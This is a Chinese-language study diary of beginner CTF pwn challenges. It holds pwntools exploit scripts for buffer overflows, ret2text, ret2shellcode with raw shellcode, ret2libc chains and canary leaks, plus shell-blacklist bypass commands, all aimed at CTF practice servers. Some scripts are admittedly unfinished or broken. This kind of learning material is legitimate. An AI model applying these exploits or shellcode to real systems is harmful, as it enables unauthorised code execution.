🥰pwn入门刷题日记~ 2024-11-29 [SWPUCTF 2021 新生赛]nc签到 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import osart = ''' (( "####@@!!$$ )) `#####@@!$$` )) (( '####@!!$: (( ,####@!!$: )) .###@!!$: `##@@!$: `#@!!$ !@# `#@!$: @#$ #$ `#@!$: !@! '@!$: '`\ "!$: /`' '\ '!: /' "\ : /" -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\ " -."-.\\"-."//.-".`-."_\\-.".-\".-//''' print (art)print ("My_shell_ProVersion" )blacklist = ['cat' ,'ls' ,' ' ,'cd' ,'echo' ,'<' ,'${IFS}' ] while True : command = input () for i in blacklist: if i in command: exit(0 ) os.system(command)
才知道是黑名单绕过——
参考文章:NSSCTF——Pwn 刷题笔记 – G3rling’s Blog
一些方法:
方法一 使用引号截断绕过+$IFS$9(空格)绕过
方法二 转义符\+$IFS$9(空格)绕过
方法三 tac绕过
方法四 获取root权限
exp:
1 2 3 4 5 from pwn import *p = remote(“1.14 .71 .254 ”,28612 ) p.sendline(“tac$IFS$9flag”) print (p.recv())p.interactive()
[SWPUCTF 2021 新生赛]gift_pwn
64位,部分保护
要导向0x4005b6
读取16个(看起来空间还是很大的)
exp:
1 2 3 4 5 from pwn import *p = remote('node4.anna.nssctf.cn' ,28520 ) payload = b'A' *0x10 +b'B' *0x8 +p64(0x4005b6 ) p.send(payload) p.interactive()
1 2 3 4 5 6 7 8 from pwn import *p = remote('node4.anna.nssctf.cn' ,28520 ) shellcode = asm(shellcraft.sh()) shellcode_addr = your_addr ret = 0x4004c3 payload = shellcode.ljust(0x10 ,'a' )+shellcode.ljust(0x8 ,'b' )+p64(ret)+p64(shellcode_addr) p.send(payload) p.interactive()
[LitCTF 2023]只需要nc一下~ ?env?
或者:
echo $FLAG
1 2 3 4 5 6 7 8 9 10 11 12 13 # cat Dockerfile FROM python:3 .11 COPY . /appENV FLAG=NSSCTF{123456 } RUN echo $FLAG > /flag.txt WORKDIR /app EXPOSE 5000 CMD ["python", "app.py"]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #cat app.py import os import subprocess import socketserver class TerminalHandler(socketserver.StreamRequestHandler): def handle(self): self.intro() while True: try: data = self.rfile.readline ().strip () if not data : break result = self.execute_command (data ) self.send_result (result ) except Exception as e : self.send_error (str (e )) def intro (self ): self.wfile.write (b "Welcome to the virtual terminal !\n ") def execute_command (self , command ): output = subprocess.check_output (command , shell =True ) return output def send_result (self , result ): self.wfile.write (result ) def send_error (self , error ): self.wfile.write (b "Error : " + error.encode () + b "\n ") if __name__ == "__main__ ": HOST , PORT = "0.0.0.0", 9999 server = socketserver.ThreadingTCPServer ((HOST , PORT ), TerminalHandler ) server.serve_forever ()
[CISCN 2019华北]PWN1
很好的小数pwn
1 2 3 4 5 from pwn import *p = remote('node4.anna.nssctf.cn' ,28123 ) payload = b'A' *0x2c +p64(0x41348000 ) p.send(payload) p.interactive()
[NISACTF 2022]ReorPwn? 刚吐槽第三题对web手太友好了,
发现这一题真是re
倒着输入
[SWPUCTF 2022 新生赛]Does your nc work?
[BJDCTF 2020]babystack2.0 很好的题,被pwn✌骂了,因为抄错数字,pwn✌debug了半天。
很好的逆向困难复现(√(总是卡在奇怪的地方(很好很好
1 2 3 4 5 6 7 8 9 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) backdoor = 0x400726 ret = 0x400599 p = remote('node4.anna.nssctf.cn' ,'28859' ) p.sendlineafter(b"name:" ,b'-1' ) payload = b'A' *0x10 + b'B' *8 + p64(backdoor) p.sendafter(b"name?" ,payload) p.interactive()
[SWPUCTF 2022 新生赛]FindanotherWay
2022-11-30 [BJDCTF 2020]babystack ?前面那个题的简单版
1 2 3 4 5 6 7 from pwn import *p = remote(‘node4.anna.nssctf.cn’,28931 ) p.sendlineafter(b’Please input the length of your name:\n’,b’30 ’) Payload = b’a’*(0x10 + 8 ) + p64(0x04006EA ) p.sendline(Payload) p.interactive()
[HNCTF 2022 Week1]easync 找——
nssctf{Nc_@nd_g3t5h31L}
[NISACTF 2022]ezstack ?为什么呢
[HGAME 2023 week1]easyenc
普通逆向。。
NSSCTF{4ddit1on_is_a_rever5ible_0peration}
2024-11-31 [NISACTF 2022]shop_pwn [???]
2024-12-4 一道保护全开的题目,//TODO
main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __fastcall main (int argc, const char **argv, const char **envp) { int v4; char buf[136 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); memset (buf, 0 , sizeof (buf)); alarm(0x3C u); setbuf(_bss_start, 0LL ); welcome(); puts ("Can you give me your name?" ); v4 = read(0 , buf, 0x100 uLL); if ( buf[v4 - 1 ] == 10 ) buf[v4 - 1 ] = 0 ; printf ("\nHello %s.\n\n" , buf); puts ("Do you have anything you want to say to me?" ); read(0 , buf, 0x100 uLL); puts ("See you next time!" ); return 0 ; }
(感觉思路是很明确的,理论成立,实践拉跨(欸嘿
这是第一版写的答案:(orz一直没打通,然后pwn✌发了wp看着问题在哪里
(还是没太明白,留着等学的扎实一点再看吧(欸嘿
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *p = process('./vuln' ) elf = ELF('./vuln' ) libc = ELF('./libc.so.6' )//? p.recvuntil(b"What's your name:" ) payload1 = b'A' * 0x88 +b'A' //136 (10 ) 这里额外的A覆盖返回地址(但是不知道 为什么(坏)) p.sendline(payload1) p.recvuntil(b'A' *0x88 ) canary1 = u64(p,recv(8 ))-ord ('A' ) // elf_base = u64(p.recv(6 ).ljust(8 ,b'\x00' )) - 0x10a0 //奇怪的是我这边偏移这么大(? print (hex (canary1))print (hex (elf_base))p.recvuntil(b"Hello " ) leak = p.recvline().strip() canary2 = u64(leak.ljust(8 , b'\x00' )) log.success(f"Leaked Canary: {hex (canary2)} " ) pop_rdi_ret = 0xcb3 main_addr = elf_base + 0xaa2 //? payload2 = b'A' * 144 + p64(canary) + b'B' * 8 payload2 += p64(elf_base) payload2 += p64(puts_plt) payload2 += p64(main_addr) payload2 += p64(puts_got) p.sendafter('say?' ,payload2) puts_leak = u64(p.recv(6 ).ljust(8 , b'\x00' )) libc_base = puts_leak - puts_offset log.success(f"Leaked libc base: {hex (libc_base)} " ) system = libc_base + libc.symbols['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) payload3 = b'A' * 144 payload3 += p64(canary) payload3 += b'B' * 8 payload3 += p64(ret) payload3 += p64(system) payload3 += p64(0 ) payload3 += p64(bin_sh) p.sendafter('say?' ,payload3) p.interactive()
蚌,理论和实践差太多了。 orz多做题喵。。
[HGAME 2023 week1]test_nc ?nc
[watevrCTF 2019]Voting Machine 1 甚至看了一下这个flag展示函数,自动展示(感恩)
1 2 3 4 5 6 from pwn import *p = remote("node5.anna.nssctf.cn" ,20006 ) backdoor = 0x400807 payload = b'A' *(0x2 +8 ) + p64(backdoor) p.sendline(payload) p.interactive()
[HNCTF 2022 Week1]easyoverflow (终于知道最基础的ret2text是什么样子了( 存一个c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h> int main () { setbuf(stdin ,0 ); setbuf(stdout ,0 ); setbuf(stderr ,0 ); puts ("Input something" ); char name[30 ]; int number=0 ; gets(name); if (number!=0 ){ puts ("You win." ); system("cat flag" ); } return 0 ; }
exp:
1 2 3 4 5 6 from pwn import *p = remote("node5.anna.nssctf.cn" ,29251 ) payload = b'A' *(0x30 -0x4 )+b'B' p.sendline(payload) p.interactive()
[NISACTF 2022]ezpie PIE保护的ret2text hhhh可爱捏
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(os = 'linux' ,arch='i386' ,log_level='debug' ) p = remote("node7.anna.nssctf.cn" ,26619 ) main_addr = 0x0770 backdoor_addr = 0x080F p.recvline() base = int (p.recvuntil('\n' ,drop=True ),16 ) payload = b'A' *(0x28 +4 )+p32( base + backdoor_addr-main_addr) p.sendline(payload) p.interactive()
[GFCTF 2021]where_is_shell 正好是这页的最后一个🥰🥰 题目提示: 代码段是有r权限的的,所以字符串可以在代码段上
记得之前似乎有看到过,调用shell的方法之一是system($0) 这次才知道$0再机器码中为\x24\x30 似乎比我想的复杂一点(
pop rdi ret : 一种常见的ROPgadget,ret弹出一个地址,再使用pop rdi ret 把之前的shell地址存入rdi寄存器中,最后再调用system函数
这时因为rdi有之前存入的$0,很好的函数调用👍
ROPgadget –binary shell –only “pop|ret” ┌──(kali㉿kali)-[~/Desktop]
└─$ ROPgadget –binary shell –only “pop|ret”
Gadgets information
============================================================
0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop r14 ; pop r15 ; ret
0x00000000004005e2 : pop r15 ; ret
0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; > ret
0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005e3 : pop rdi ; ret
0x00000000004005e1 : pop rsi ; pop r15 ; ret
0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400416 : ret
Unique gadgets found: 11
pop rdi ret 0x4005e3 | ret 0x400416
接着是之前经常提到的栈对齐问题
x86-64 ABI(应用程序二进制接口)保证了在调用指令上的 16-bits 对齐。libc 利用了这一点,并使用 SSE 数据传输指令来优化执行;特别是在 system 中会使用诸如 movaps 等指令。 这意味着如果栈不是 16-bits 对齐的(即 RSP 不是 16 的倍数),那么 ROP 链在执行 system 时会失败。
修复方法很简单,在你的 ROP 链中调用 system 之前,插入一个单独的 ret gadget:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(os = 'linux' ,arch='i386' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28984 ) elf = ELF('./shell' ) pop_rdi_ret = 0x4005e3 ret = 0x400416 backdoor = 0x400541 //这里是1 ,因为第一个是call的机器码 system_addr = elf.symbols['system' ] payload = b'b' *(0x10 +8 )+p64(ret_addr)+p64(pop_rdi_ret)+p64(backdoor)+p64(system_addr) p.sendafter('find it?\n' ,payload) p.interactive()
2024-12-5 [NSSCTF 2022 Spring Recruit]R3m4ke? char v4[32]; // [rsp+0h] [rbp-20h] BYREF
1 2 3 4 5 6 7 8 9 from pwn import *context(os = 'linux' ,arch='i386' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28301 ) elf = ELF('./r3m4ke1t' ) backdoor = 0x040072C payload = b'A' *(0x20 +8 ) + p64(backdoor) p.send(payload) p.interactive()
[HNCTF 2022 Week1]ret2shellcode 新的东西!ret2shellcode 感谢pwn爹!!!寥寥几句讲的好清楚
这里要确认buff的bss段是否可写:
1 2 3 4 5 6 7 8 9 10 from pwn import *context(os = 'linux' ,arch='amd64' ,log_level='debug' ) p = remote("node5.anna.nssctf.cn" ,21499 ) elf = ELF('./shellcode' ) shellcode = asm(shellcraft.sh()) target = 0x4040A0 payload = shellcode.ljust(256 +8 ) + p64(target) p.send(payload) p.interactive()
注意这里是amd64(!!!
[GDOUCTF 2023]Shellcode NX保护,amd64
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(os = 'linux' ,arch='amd64' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28209 ) elf = ELF('./pwn12' ) shellcode = asm(shellcraft.cat("flag" )) p.sendlineafter("Please." ,shellcode) target = 0x6010A0 payload = b'a' *(0xA +8 ) + p64(target) p.sendafter("start!" ,payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(os = 'linux' ,arch='amd64' ,log_level='debug' ) p = remote("node4.anna.nssctf.cn" ,28209 ) elf = ELF('./pwn12' ) shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' p.sendlineafter("Please." ,shellcode) target = 0x6010A0 payload = b'a' *(0xA +8 ) + p64(target) p.sendafter("start!" ,payload) p.interactive()
2024-12-10 好久没写了 (也不是(周六赤石去了
[SWPUCTF 2022 新生赛]贪吃蛇 ?!直接静态看flag加密。xor0x52 欸嘿
[HGAME 2022 week1]test your gdb 有金丝雀
动调解除密文:
debug002:00007FA5FC928E90 dq 0B0361E0E8294F147h
debug002:00007FA5FC928E98 dq 8C09E0C34ED8A6A9h
接着后门:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) p = remote('node5.anna.nssctf.cn' , 27287 ) elf = ELF('./service' ) backdoor = 0x401256 password = p64(0xb0361e0e8294f147 ) + p64(0x8c09e0c34ed8a6a9 ) p.sendafter(b'enter your pass word\n' , password) canary = u64(p.recv()[0x20 - 0x08 :0x20 ]) payload = cyclic(0x20 - 0x08 ) + p64(canary) + p64(0 ) + p64(backdoor) p.sendline(payload) p.interactive()
2024-12-14 [LitCTF 2023]口算题卡 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p = remote("node4.anna.nssctf.cn" , 28187 ) context(os="linux" , arch="i386" , log_level="debug" ) recv_header = p.recvuntil(b"Have fun!\n" ) for x in range (100 ): p.recvuntil(b"What is" ) key = p.recvuntil(b"?" ) payload = flat([ str (eval (key[:-1 ])) ]) print (eval (key[:-1 ])) p.sendline(payload) p.interactive()
[HUBUCTF 2022 新生赛]fmt [BJDCTF 2020]babyrop 1 /home/kali/Desktop/pwn90: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64 .so.2 , for GNU/Linux 2 .6 .32 , BuildID[sha1]=ebe33bb41cb0dcdde518b9dfb38eb03a104ee0b7, not stripped
思路:
利用puts函数泄露libc版本 计算偏移 找system和bin/sh 构造rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * context (os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ['tmux' ,'splitw' ,'-h' ,'-l' ,'140' ] pwnfile = './pwn90' elf = ELF(pwnfile) io = remote('node4.anna.nssctf.cn' ,28497 ) pop_rdi = 0x400733 puts_plt = elf.sym['puts' ] puts_got = elf.got['puts' ] main_addr = elf.sym['main' ] pay = b'b' * (0x20 +8 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendafter(b'story!' ,pay) puts_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = puts_addr - 0x6f690 system_addr = libc_base + 0x45390 bin_sh = libc_base + 0x18cd57 pay2 = b'b' * (0x20 +8 ) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr) io.recvuntil('sword and tell me u story!' ) io.sendline(pay2) io.interactive()
2024-12-21 rip
1 2 3 4 5 6 7 8 from pwn import * context (os='linux' , arch='amd64' , log_level='debug' ) p = remote('node5.buuoj.cn' ,28867 ) payload = b'a' *(0xF +0x8 )+p64(0x40118A ) p.sendline(payload) p.interactive()
warmup_csaw_2016
1 2 3 4 5 6 7 8 9 10 from pwn import * context (os='linux' , arch='amd64' , log_level='debug' ) p = remote('node5.buuoj.cn' ,25914 ) backdoor = 0x40060D payload = b'a' *(0x40 +0x8 )+p64(backdoor) p.sendline(payload) p.interactive()
2024-12-22 学了点基础知识
关于堆的一些小东西
2024-12-24 [HNCTF 2022 Week1]ezcmp 不想和我说话,典型的IDA动调思维(x 断点断在read前面,直接读取buff值,拿出来:
1 2 3 4 5 from pwn import *p = remote('node5.anna.nssctf.cn' ,25530 ) payload = "\x72\x40\x0E\xDC\xAA\x78\x46\x14\xE2\xB0\x7E\x4C\x1A\xE8\xB6\x84\x52\x20\xEE\xBC\x8A\x58\x26\xF4\xC2\x90\x5E\x2C\xCB\xC8" p.sendline(payload) p.interactive()
当然gdb(
[?]??? 2024-12-27 [MoeCTF 2021]ret2text_ez 1 2 3 4 5 6 7 8 9 from pwn import *p = remote('node5.anna.nssctf.cn' ,22826 ) backdoor = 0x0401196 payload = b'A' *(0x20 +0x8 )+p64(backdoor) p.send(payload) p.interactive()
[GWCTF 2019]xxor 2025-1-3 一直在写大作业们(狡辩)